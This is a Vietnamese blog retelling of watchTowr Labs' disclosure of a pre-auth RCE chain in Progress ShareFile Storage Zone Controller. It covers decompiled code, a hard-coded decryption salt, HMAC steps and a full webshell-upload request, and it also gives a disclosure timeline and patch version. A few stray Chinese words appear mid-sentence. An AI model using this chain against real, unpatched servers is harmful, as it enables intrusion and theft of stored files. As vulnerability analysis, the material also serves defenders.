Home / Sharenewshort / Phân Tích Chuỗi Lỗ Hổng Pre-Auth RCE Trên Progress ShareFile (CVE-2026-2699 & CVE-2026-2701)

Phân Tích Chuỗi Lỗ Hổng Pre-Auth RCE Trên Progress ShareFile (CVE-2026-2699 & CVE-2026-2701)

Nếu bạn nhìn lướt qua danh sách CISA KEV, bạn có thể nghĩ rằng nó được tạo thành hoàn toàn từ các lỗ hổng trong các giải pháp truyền tệp. Mặc dù điều này không hoàn toàn đúng, nhưng các giải pháp truyền tệp đóng vai trò rất lớn trong danh sách này do sự yêu thích đặc biệt từ các tác nhân đe dọa, nhóm APT và các băng nhóm ransomware. Các sự cố lịch sử mang tính định hướng ngành bao gồm: vi phạm MOVEit năm 2023, Cleo Harmony/VLTrader/LexiCom năm 2024, và Fortra GoAnywhere bị khai thác tích cực năm 2025.

Hôm nay, watchTowr Labs sẽ chia sẻ hành trình phát hiện nhiều lỗ hổng trong Progress ShareFile, cuối cùng được chain (kết nối chuỗi) lại để đạt được Remote Code Execution (RCE) từ xa không cần xác thực (Pre-Auth).


Progress ShareFile là gì?

Progress ShareFile là một bộ phần mềm thuộc sở hữu trước đây của Citrix, sau đó được Progress收购 vào năm 2024. Theo mô tả chính thức:

“ShareFile cung cấp không gian có cấu trúc, an toàn để làm việc với khách hàng — chia sẻ tệp, thu thập chữ ký, yêu cầu dữ liệu và quản lý công việc tại một nơi, cải thiện sự hợp tác và trải nghiệm.”

Dù trông có vẻ là một dịch vụ SaaS thuần túy, ShareFile duy trì một giải pháp on-premise mở rộng gọi là “Storage Zone Controller” — một gateway do khách hàng quản lý, giữ tệp tin trong cơ sở hạ tầng riêng của họ (on-prem hoặc cloud) nhưng vẫn sử dụng giao diện SaaS của ShareFile.

ShareFile Storage Zone Controller instances

Một tìm kiếm nhanh trên FOFA cho thấy có khoảng 30,000 instance Storage Zone Controller đang tiếp xúc trên Internet.

Chức năng chính của Storage Zone Controller:

  • Xử lý truyền tệp an toàn
  • Xác thực và thực thi chính sách
  • Cho phép kiểm soát nơi dữ liệu được lưu trữ (hệ thống tệp cục bộ, SMB servers, cloud bucket storage)
  • Đồng bộ cấu hình với ShareFile SaaS

Hai Lỗ Hổng Được Khám Phá

Trong bài nghiên cứu này, hai lỗ hổng sau được phân tích và chain lại:

CVE watchTowr ID Mô tả
CVE-2026-2699 WT-2026-0006 Authentication Bypass (Bỏ qua xác thực)
CVE-2026-2701 WT-2026-0007 Remote Code Execution (Thực thi mã từ xa)

ShareFile có hai nhánh ứng dụng chính:

  • Branch 6.x — xây dựng bằng .NET Core
  • Branch 5.X — xây dựng bằng ASP.NET

Cả hai lỗ hổng đều thuộc branch 5.X, cụ thể được phát hiện trên phiên bản StorageCenter_5.12.3 (phiên bản mới nhất tại thời điểm nghiên cứu). Các lỗ hổng đã được khắc phục trong phiên bản 5.12.4, phát hành ngày 10 tháng 3 năm 2026.


Phân Tích Kiến Trúc Storage Zone Controller

Cài đặt và cấu hình

Ứng dụng được cài đặt trong thư mục IIS C:\inetpub\wwwroot\ShareFile và đăng ký dưới “Default Web Site” của IIS. Trong quá trình thiết lập:

  1. Một trang cấu hình được chạy từ localhost để xác thực instance ShareFile với người dùng SaaS đã kết nối.
  2. Mọi file .dll được trích xuất và decompile thành mã C#.

ShareFile Configuration Page

Các endpoint của ứng dụng

ặnNET application có nhiều cách tương tác: file ASHX, ASMX, ASPX thực thi code, và các REST endpoint được định nghĩa trong web.config. Danh sách các file .aspx bao gồm:

/AdvancedStatus.aspx
/cifs/upload-streaming-2.aspx
/cifs/upload.aspx
/ConfigService/Admin.aspx
/ConfigService/Login.aspx
/ConfigService/Networking.aspx
/ConfigService/PreFlightCheck.aspx
/ConfigService/SMTPConfig.aspx
/ConfigService/UpdatePassphrase.aspx
/documentum/upload-streaming-2.aspx
/documentum/upload.aspx
/heartbeat.aspx
/ProxyService/rest/storagecenter.aspx
/rest/queue.aspx
/sp/upload-streaming-2.aspx
/sp/upload.aspx
/thumbnail.aspx
/upload-resumable-1.aspx
/upload-resumable-2.aspx
/upload-resumable-3.aspx
/upload-singlechunk.aspx
/upload-streaming-1.aspx
/upload-streaming-2.aspx
/upload-threaded-1.aspx
/upload-threaded-2.aspx
/upload-threaded-3.aspx
/upload.aspx

Phương pháp nghiên cứu: quan sát phản hồi HTTP (status code, content length, content type) của từng endpoint khi được request từ góc độ pre-authenticated.


Lỗ Hổng 1: WT-2026-0006 (CVE-2026-2699) — Authentication Bypass

Phát hiện sự bất thường

Hầu hết các endpoint cấu hình như /ConfigService/Login.aspx trả về HTTP 403 — chỉ truy cập được từ localhost (127.0.0.1). Tuy nhiên, khi truy cập /ConfigService/Admin.aspx, nghiên cứu viên quan sát thấy một sự bất thường rõ ràng:

HTTP/1.1 302 Found
Cache-Control: private,no-store
Content-Type: text/html; charset=utf-8
Location: /ConfigService/Login.aspx?callerpage=Admin
Content-Length: 22448

Hai điểm đáng ngờ:

  1. Server trả về 302 redirect tới trang login — đây là hành vi đúng.
  2. Nhưng Content-Length lại 22448 bytes — kích thước rất lớn, và phần body chứa toàn bộ nội dung trang Admin panel.

Đây chính là biểu hiện của CWE-698: Execution After Redirect (EAR) — một lỗ hổng mà code tiếp tục thực thi sau khi redirect đã được gửi đi, tương tự như việc quên gọi die() trong PHP.

EAR Vulnerability Diagram

Phân tích code-level

Xem mã nguồn của class ConfigService.Admin, hàm Page_Load():

protected void Page_Load(object sender, EventArgs e)
{
    this._logger.LogDebug("Page_Load Enter", Array.Empty<object>());
    this.Master.ActionHeader = "Select ShareFile " + (Admin.isMultiTenant ? "Multi-Tenant " : string.Empty) + "StorageZone";
    this.Master.HeaderTitle = "<span class=\"ico24 icoAdmin\"></span>" + (Admin.isMultiTenant ? "Multi-Tenant " : string.Empty) + "StorageZone Setup";
    if (!this._sessionHelper.IsSessionAuthenticated(HttpContext.Current.Session)) // <---- [0]
    {
        this._logger.LogDebug("Not authenticated", Array.Empty<object>());
        string redirectPathWithCallerInfo = this._redirectionHelper.GetRedirectPathWithCallerInfo(WebPage.Login, WebPage.Admin);
        this._redirectionHelper.RedirectAndCompleteRequest(new HttpContextWrapper(HttpContext.Current), redirectPathWithCallerInfo); // <---- [1]
        return;
    }
}

Tại [0], kiểm tra xác thực session. Nếu không xác thực, gọi RedirectAndCompleteRequest() tại [1].

Xem hàm RedirectAndCompleteRequest():

public void RedirectAndCompleteRequest(HttpContextBase httpContext, string redirectPath)
{
    httpContext.Response.Redirect(redirectPath, false); // <---- [2]
    HttpApplication applicationInstance = httpContext.ApplicationInstance;
    if (applicationInstance == null)
    {
        return;
    }
    applicationInstance.CompleteRequest();
}

Nguyên nhân gốc rễ: Tại [2], hàm Response.Redirect() được gọi với tham số Boolean thứ hai là false.

Theo tài liệu Microsoft, tham số Boolean này xác định xem có chấm dứt thực thi trang hiện tại hay không:

Microsoft Documentation

  • true (mặc định): Chấm dứt thực thi sau khi redirect — Đúng
  • false: Không chấm dứt thực thi sau khi redirect — Sai

ShareFile cung cấp false, dẫn đến:

  • ✅ Response trả về Status Code 302 redirect — đúng
  • ❌ Toàn bộ chức năng còn lại trong class ConfigService.Admin vẫn được thực thi — sai

Kết quả: Truy cập Admin Panel không cần xác thực

Bằng cách loại bỏ header Location trong response, toàn bộ giao diện Admin panel hiển thị đầy đủ:

Admin Panel without Auth

Trên Admin panel, attacker có thể tương tác với hai tùy chọn:

  • Create new Zone — Tạo Zone mới
  • Join existing Zone — Tham gia Zone có sẵn

Khai Thác Authentication Bypass — Tấn Công Zone Configuration

Join existing Zone

Do tùy chọn “Create new Zone” gặp lỗi không khắc phục được, nghiên cứu tập trung vào “Join existing Zone” — chức năng có mặt trên hầu hết Storage Zone Controller đang tiếp xúc (vì Controller phải được cấu hình Zone mới hoạt động).

Join existing Zone

Zone Configuration Fields

Các trường cấu hình Zone

Trường Mục đích
Zone Tên Zone
Primary Zone Controller URL của Primary Zone — có thể trỏ đến mảng các Zone Controller lấy cấu hình từ Primary Zone
Hostname Hostname của cài đặt
External Address URL hướng Internet, ShareFile SaaS dùng để đồng bộ cấu hình, dữ liệu
Storage Repository Phương thức lưu trữ tệp cho tài khoản ShareFile
Passphrase Mật khẩu dùng để mã hóa các API/REST endpoint của Zone Controller hiện tại

Vấn đề Passphrase

Khi tạo Zone mới, cần Passphrase để mã hóa API interactions. Từ góc độ pre-auth, attacker không biết giá trị này. Tuy nhiên, khi chỉnh sửa các trường khác (Storage Repository, External Address…), giá trị Passphrase được server tự động fill sẵn — không cần biết mật khẩu cũ.

Tấn công: Thay đổi Primary Zone Controller

Nghiên cứu viên cấu hình một Storage Zone Controller độc lập dưới quyền kiểm soát, sau đó thay đổi trường Primary Zone Controller trên victim để trỏ đến server độc hại này, nhằm coerce victim kết nối đến malicious zone.

Về mặt giao diện, yêu cầu cung cấp “Old Passphrase” khi đổi Passphrase:

Old Passphrase prompt

Nhưng khi thay đổi trường Primary Zone Controller, “Old Passphrase” không được validate — attacker có thể kết nối victim’s Storage Zone Controller đến malicious controller mà không cần xác thực.

Danger Zone meme

Caveat: Chức năng này chỉ thực thi nếu server-side đã xác thực với ShareFile SaaS — đây là yêu cầu mặc định để Storage Zone Controller hoạt động bình thường, nên khá phổ biến.

Mức độ nguy hiểm trước khi lên RCE

Dù chưa phải RCE, attacker đã có thể:

  • Thay đổi Storage Repository của victim trỏ đến AWS S3 Bucket do attacker kiểm soát → exfiltrate toàn bộ file sensitive
  • Kết nối victim Controller đến malicious Zone Controller → mở rộng khả năng tấn công

Lỗ Hổng 2: WT-2026-0007 (CVE-2026-2701) — Remote Code Execution

Sau khi bypass authentication và kiểm soát passphrase, bước cuối cùng là RCE:

RCE Goal

Ý tưởng tấn công

Logic rất đơn giản: nếu bạn đã trở thành admin trên giải pháp lưu trữ tệp, hãy:

  1. Thay đổi đường dẫn upload trỏ đến webroot của ứng dụng
  2. Upload ASPX webshell
  3. Profit 💰

Bước 1: Kiểm soát Upload Path

ShareFile hỗ trợ nhiều loại lưu trữ, nhưng mục tiêu là “Local Network Share”:

Local Network Share configuration

Trường Network Share Location cho phép chỉ định UNC path đến SMB share. Hàm validation ValidateStorageLocation làm như sau:

private BaseActionResult ValidateStorageLocation(string filePath, string storageLocationType)
{
    BaseActionResult baseActionResult = new BaseActionResult { IsSuccess = true, Message = string.Empty };
    try
    {
        using (StreamWriter streamWriter = new StreamWriter(filePath, false))
        {
            streamWriter.Write("SCTest");
            streamWriter.Flush();
        }
    }
    catch (Exception ex)
    {
        // ... error handling
    }
    try
    {
        if (File.Exists(filePath))
        {
            File.Delete(filePath);
        }
    }
    catch (Exception ex2)
    {
        // ... error handling
    }
    return baseActionResult;
}

Phương thức này chỉ:

  1. Tạo một tệp tạm thời
  2. Kiểm tra xem nó tồn tại
  3. Xóa nó nếu có

Không có bất kỳ kiểm tra bảo mật nào về đường dẫn. Bạn có thể chỉ định bất kỳ path nào miễn là ứng dụng có quyền ghi, ví dụ:

C:\inetpub\wwwroot\ShareFile\StorageCenter\documentum

Đây là thư mục webroot của một trong các ứng dụng ShareFile.

Upload path modified

Think meme

Bước 2: Upload Webshell — Vượt qua giới hạn upload thông thường

Các endpoint upload thông thường không phù hợp để upload webshell vì:

  • File được đổi tên thành UUID ngẫu nhiên
  • Phần mở rộng file bị loại bỏ

Ví dụ, trong hàm ProcessFileControl:

private static int ProcessFileControl(InputFile fileControl, ShareFileUploadNotification sfun, string uploadId, Hashtable files, Hashtable fileHashes, string basePath, string accountId)
{
    string text = ShareFile.StorageCenter.BusinessLogic.Configuration.TempDir + "ul-" + uploadId + Path.DirectorySeparatorChar.ToString(); // [1]
    string text2 = text + fileControl.ShareFileFileId; // [2]
    // ...
}

Tại [1], đường dẫn upload được chuẩn bị. Tại [2], file name sử dụng ShareFileFileId — là UUID tự động tạo, không giữ nguyên tên file hay extension gốc.

Debugger showing UUID

Filesystem no extension

Bước 3: Khai thác chức năng Unzip

Nghiên cứu sâu hơn vào StorageCenter.Upload (/StorageCenter/Upload.aspx), phát hiện một chi tiết quan trọng:

protected void Page_Load(object sender, EventArgs e)
{
    // ...
    if (requestKeys["unzip"] != null && (requestKeys["unzip"] == "true" || requestKeys["unzip"] == "on")) // [1]
    {
        flag = true;
    }
    if (flag)
    {
        num2 += Upload.UnzipFiles(new InputFile[]
        {
            this.File1, this.File2, ..., this.Filedata
        }, shareFileUploadNotification, text, hashtable, hashtable3, text3, text4); // [2]
    }
}

Tại [1], nếu tham số unzip được set là true, cờ flag được bật. Tại [2], gọi Upload.UnzipFiles.

Điều này có nghĩa:

  • Có thể upload một file ZIP
  • Nếu set unzip=true, nội dung ZIP sẽ được extract đến thư mục đã bị thay đổi (Network Share Location — giờ là webroot)
  • Các file extract không bị đổi tên — giữ nguyên tên và extension gốc

Bước 4: Tính toán HMAC cho Upload Request

Upload request yêu cầu tham số h — “upload secret” (kiểm tra HMAC-SHA256). Các bước để tính toán:

a) Leak TempData2

Gửi request:

GET /ConfigService/api/StroageZoneConfig?&h=<hmac>

Phải HMAC-SHA256 sign chuỗi /configservice/api/stroagezoneconfig với passphrase hiện tại (đã được set lại qua authentication bypass). Response trả về TempData2:

{
    "ZoneConfig":
    {
        "TempData2":"CbeqUAmHAbM7HuaDlAhgZ4N4dCC4u2zr/gOtQ6aySFgH7FU+21BiEZ5ZGw0WwMne",
        "...":"..."
    }
}

b) Giải mã Zone Secret

TempData2 là base64-encoded và AES-encrypted Zone Secret. Giải mã bằng:

  • Hard-coded salt: p3510060xfZ2s9
  • Passphrase (encryption secret — đã kiểm soát)

c) Tính toán HMAC cho Upload

Dùng decrypted Zone Secret để HMAC-SHA256 sign phần sau của request:

/upload.aspx?id=<id>&uploadid=<uploadid>&bp=test&accountid=1&exp=<timestamp>

Kết quả được thêm vào URL dưới dạng tham số h.

Request Upload PoC hoàn chỉnh

POST /upload.aspx?id=803436333&uploadid=jtrazo53&bp=test&accountid=1&exp=1970804033&h=ARcXg5ZqhVKOrlvNmzXjDeOaJIPHkjXX3OrmVJnB090= HTTP/1.1
Host: sharefile.lab.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bp"

testz\a
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="accountid"

1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bm"

2
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bo"

3
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadid"

123
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="rsu"

12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="NeatUpload_PostBackID"

12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="onfinishurl"

http://sharefile.com/test
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="unzip"

true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="File1"; filename="test.zip"; UniqueID="File1"
Content-Type: text/plain

zip-file-with-webshell-here

Kết quả: Webshell chạy thành công

Webshell được upload và extract đến đường dẫn:

<Network-Storage-Location>/files/ul-<query-string-uploadid>/1/

Trong thử nghiệm, Network-Storage-Location = C:\inetpub\wwwroot\ShareFile\StorageCenter\documentum, uploadid = jtrazo53:

Webshell running

Chuỗi tấn công hoàn chỉnh

Full Pre-Auth RCE Chain


Detection Artifact Generator (DAG)

watchTowr phát hành công cụ DAG tại GitHub để kiểm tra暴露. DAG đơn giản:

  1. Truy cập endpoint /ConfigService/Admin.aspx
  2. Kiểm tra response:
  • Có chứa status code 302
  • hơn 10,000 ký tự trong response body

Nếu cả hai điều kiện đúng → hệ thống khả năng bị CVE-2026-2699.

Lưu ý: DAG chỉ validate CVE-2026-2699, vì việc validate CVE-2026-2701 sẽ ảnh hưởng đến tính sẵn sàng của hệ thống mục tiêu.


Timeline Khai Báo Lỗ Hổng

Ngày Chi tiết
06/02/2026 watchTowr khai báo Authentication Bypass WT-2026-0006 cho Progress Security Team
06/02/2026 watchTowr quét trên client attack surfaces để tìm暴露
06/02/2026 Progress xác nhận đã nhận khai báo WT-2026-0006
13/02/2026 watchTowr khai báo RCE WT-2026-0007 cho Progress Security Team
14/02/2026 Progress xác nhận lỗ hổng WT-2026-0006 và bắt đầu khắc phục
14/02/2026 Progress xác nhận WT-2026-0006 là CWE-698/EAR, cần thêm thông tin để đánh giá mức độ
16/02/2026 watchTowr cung cấp Python PoC chain cả hai lỗ hổng thành Pre-Auth RCE
18/02/2026 Progress xác nhận replicate thành công chuỗi lỗ hổng
26/02/2026 Progress gán CVE-2026-2699 cho WT-2026-0006, yêu cầu embargo đến 02/04/2026
26/02/2026 Progress gán CVE-2026-2701 cho WT-2026-0007, yêu cầu embargo đến 02/04/2026
10/03/2026 watchTowr quan sát bản phát hành Storage Zone Controller 5.12.4, xác nhận khắc phục cả hai lỗ hổng
02/04/2026 Embargo kết thúc, watchTowr xuất bản nghiên cứu

Tóm Tắt

| Thành phần | Chi tiết |
|—|—|
| Sản phẩm | Progress ShareFile Storage Zone Controller (Branch 5.X) |
| Phiên bản bị ảnh hưởng | ≤ 5.12.3 |
| Phiên bản đã fix | 5.12.4 |
| CVE-2026-2699 | Authentication Bypass qua CWE-698 (Execution After Redirect) — Response.Redirect() với tham số false khiến codeAdmin tiếp tục thực thi dù chưa xác thực |
| CVE-2026-2701 | RCE qua việc sửa Upload Path → webroot + Upload ZIP với unzip=true → webshell .aspx được extract giữ nguyên tên/extension |
| Chuỗi khai thác | Pre-Auth RCE: Bypass auth → Chỉnh cấu hình Zone → Thay Network Share Location → Leak TempData2 → Giải mã Zone Secret → Tính HMAC → Upload ZIP chứa webshell → RCE |
| Instance tiếp xúc | ~30,000 |

“ShareFile’s Storage Zone Controller exists specifically for organisations that can’t trust their files to someone else’s infrastructure. Thirty thousand of them are internet-facing. Patch.”


Source link: watchTowr Labs – You’re Not Supposed To ShareFile With Everyone

Leave a Reply

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *